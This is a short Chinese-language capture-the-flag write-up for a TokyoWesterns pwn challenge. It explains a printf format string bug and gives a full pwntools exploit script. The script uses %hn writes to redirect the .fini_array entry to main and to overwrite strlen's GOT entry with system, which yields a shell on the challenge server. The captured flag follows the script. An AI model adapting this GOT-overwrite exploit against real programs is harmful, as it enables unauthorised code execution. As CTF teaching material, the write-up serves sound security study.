題目說明

題目一開始會用 getline(v6, 64) 讀取 input

接著 printf 沒有給參數會觸發 format string exploit

exploit

這題有 system function 可以用,所以 exploit 會好寫許多

把 _do_global_dtors_aux_fini_array_entry 改成 main 的 address

在 main 結束後又可以回到 main 再輸入一次

然後再把 strlen 的 GOT 改成 system 的 PLT

當 strlen function 被呼叫的時候 strlen(‘sh’) => system(‘sh’)

就可以得到 shell 了

payload

#!/usr/bin/env python2
from pwn import * 
ip = "pwn2.chal.ctf.westerns.tokyo"
port= 16317
s = remote(ip,port)
print(s.readline())

strlen_got = 0x8049a54
fini_got = 0x08049934

p = "qq"
p += p32(fini_got+2)
p += p32(strlen_got+2)
p += p32(strlen_got)
p += p32(fini_got)
p += "%"+str(2016)+"c"
p += "%"+str(12)+"$hn"
p += "%"+str(13)+"$hn"
p += "%"+str(31884)+"c"
p += "%"+str(14)+"$hn"
p += "%"+str(349)+"c"
p += "%"+str(15)+"$hn"

print(len(p))
p = p.ljust(62,"a")
s.sendline(p)

buf = s.readline()
print(buf)

s.sendline('sh')
s.interactive()

flag

TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}